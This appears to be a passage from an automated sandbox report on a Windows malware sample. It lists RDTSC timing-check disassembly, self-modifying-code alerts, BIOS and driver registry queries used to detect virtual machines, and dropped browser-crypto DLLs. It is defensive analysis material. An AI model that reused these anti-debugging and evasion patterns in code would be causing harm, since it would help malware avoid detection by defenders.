Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 551D7F second address: 551DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5C7h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b je 00007F148511F5B6h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F148511F5BDh 0x0000001d rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 551DB6 second address: 551DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5523A6 second address: 5523C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F148511F5BEh 0x0000000d jo 00007F148511F5B6h 0x00000013 pushad 0x00000014 popad 0x00000015 jng 00007F148511F5B8h 0x0000001b push edi 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5523C7 second address: 5523CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 552535 second address: 552539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 552539 second address: 55253F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55253F second address: 55256C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F148511F5C2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c jmp 00007F148511F5C0h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55256C second address: 552587 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5526EA second address: 5526EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5526EE second address: 5526FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F14847540ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5526FC second address: 552706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 552706 second address: 552725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F14847540B5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 552725 second address: 55272A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55272A second address: 55272F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5529AA second address: 5529D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007F148511F5B6h 0x0000000c popad 0x0000000d push ecx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ecx 0x00000011 pushad 0x00000012 jp 00007F148511F5BCh 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jp 00007F148511F5B6h 0x00000021 pop edx 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 552DDA second address: 552DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F14847540B1h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 54B0BA second address: 54B0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 52A791 second address: 52A7BA instructions: 0x00000000 rdtsc 0x00000002 je 00007F14847540A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F14847540BAh 0x00000015 jmp 00007F14847540B4h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 553765 second address: 553769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 553769 second address: 55376F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55376F second address: 553774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 553774 second address: 55377A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55377A second address: 55378A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 520755 second address: 52075B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 52075B second address: 52076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5BDh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 52076C second address: 520770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 520770 second address: 520776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 558D39 second address: 558D5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F14847540A6h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 558D5D second address: 558D72 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F148511F5B6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 557EA5 second address: 557EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F14847540B0h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55FD66 second address: 55FD6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55F2A4 second address: 55F2A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55FA6A second address: 55FABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5C5h 0x00000009 jmp 00007F148511F5C9h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F148511F5C2h 0x00000018 jmp 00007F148511F5BBh 0x0000001d rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 55FC23 second address: 55FC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 562EC5 second address: 562EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56331D second address: 563321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 563321 second address: 56333E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 563C91 second address: 563CA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F14847540A8h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 563CA3 second address: 563CBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F148511F5B6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f mov dword ptr [ebp+122D3126h], ecx 0x00000015 push eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 563CBE second address: 563CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 563CC2 second address: 563CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F148511F5B6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 563D98 second address: 563D9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56411D second address: 564123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 564DA0 second address: 564DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 566AB8 second address: 566ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 566ABE second address: 566B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F14847540A8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 jmp 00007F14847540AAh 0x00000027 push 00000000h 0x00000029 mov esi, dword ptr [ebp+122D3722h] 0x0000002f push 00000000h 0x00000031 xchg eax, ebx 0x00000032 pushad 0x00000033 jl 00007F14847540A8h 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b jnp 00007F14847540A8h 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 popad 0x00000044 push eax 0x00000045 pushad 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 566B10 second address: 566B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 566B16 second address: 566B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 566B1F second address: 566B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 566B23 second address: 566B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 564DA6 second address: 564DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 564DAA second address: 564DAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5673E6 second address: 5673EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 567E58 second address: 567E69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 568A68 second address: 568A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5C1h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jg 00007F148511F5BEh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 569575 second address: 569579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 569579 second address: 5695C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1C43h], ebx 0x00000010 mov esi, dword ptr [ebp+122D310Bh] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 push ecx 0x0000001a mov esi, 37F0B1F4h 0x0000001f pop esi 0x00000020 pop edi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007F148511F5B8h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d mov edi, ebx 0x0000003f push eax 0x00000040 push edi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5695C2 second address: 5695C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5668BE second address: 5668D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F148511F5C2h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5668D8 second address: 5668DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56C288 second address: 56C28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56C28D second address: 56C311 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F14847540BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F14847540ACh 0x00000011 jmp 00007F14847540B8h 0x00000016 popad 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F14847540A8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 movsx ebx, di 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+1247FF8Eh], edi 0x0000003f xchg eax, esi 0x00000040 jng 00007F14847540B4h 0x00000046 push eax 0x00000047 push edx 0x00000048 push edi 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 567234 second address: 56723A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56723A second address: 56723E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56E2C3 second address: 56E2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56E2C7 second address: 56E330 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F14847540B1h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F14847540B7h 0x00000012 nop 0x00000013 mov edi, dword ptr [ebp+122D382Ah] 0x00000019 pushad 0x0000001a adc ah, 00000034h 0x0000001d mov ax, si 0x00000020 popad 0x00000021 push 00000000h 0x00000023 mov ebx, 25EB8244h 0x00000028 adc di, CEC6h 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D3906h] 0x00000035 jmp 00007F14847540B0h 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56F28F second address: 56F293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 56F293 second address: 56F308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F14847540A8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 add dword ptr [ebp+1244E658h], ecx 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d mov bx, di 0x00000030 pop edi 0x00000031 push 00000000h 0x00000033 xor bx, 75C7h 0x00000038 push eax 0x00000039 pushad 0x0000003a pushad 0x0000003b jmp 00007F14847540AAh 0x00000040 jmp 00007F14847540ABh 0x00000045 popad 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F14847540B7h 0x0000004d rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 570379 second address: 570380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 572330 second address: 572336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 577336 second address: 57733A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 5783DB second address: 5783DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 571537 second address: 57154A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	RDTSC instruction interceptor: First address: 57154A second address: 5715F8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F14847540BAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F14847540A8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 sbb di, C71Fh 0x0000002a push dword ptr fs:[00000000h] 0x00000031 and edi, 1E726B8Ah 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F14847540A8h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 0000001Ah 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 mov eax, dword ptr [ebp+122D1259h] 0x0000005e jmp 00007F14847540B2h 0x00000063 push FFFFFFFFh 0x00000065 sub bx, A577h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jbe 00007F14847540B0h 0x00000073 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BFF832 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BFD576 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DAE56E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Special instruction interceptor: First address: 3BEBFA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Special instruction interceptor: First address: 5574D0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Special instruction interceptor: First address: 3BEAFF instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Special instruction interceptor: First address: 561A44 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8AEBFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A474D0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8AEAFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A51A44 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Special instruction interceptor: First address: A44AD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Special instruction interceptor: First address: A44B93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Special instruction interceptor: First address: BE99DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Special instruction interceptor: First address: A4266A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Special instruction interceptor: First address: C16A32 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Special instruction interceptor: First address: C7C4D3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIJEGDBGDBF.exe

Code function: 22_2_04D20DD3 rdtsc

22_2_04D20DD3

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008203001\d6d730409e.exe	Jump to dropped file
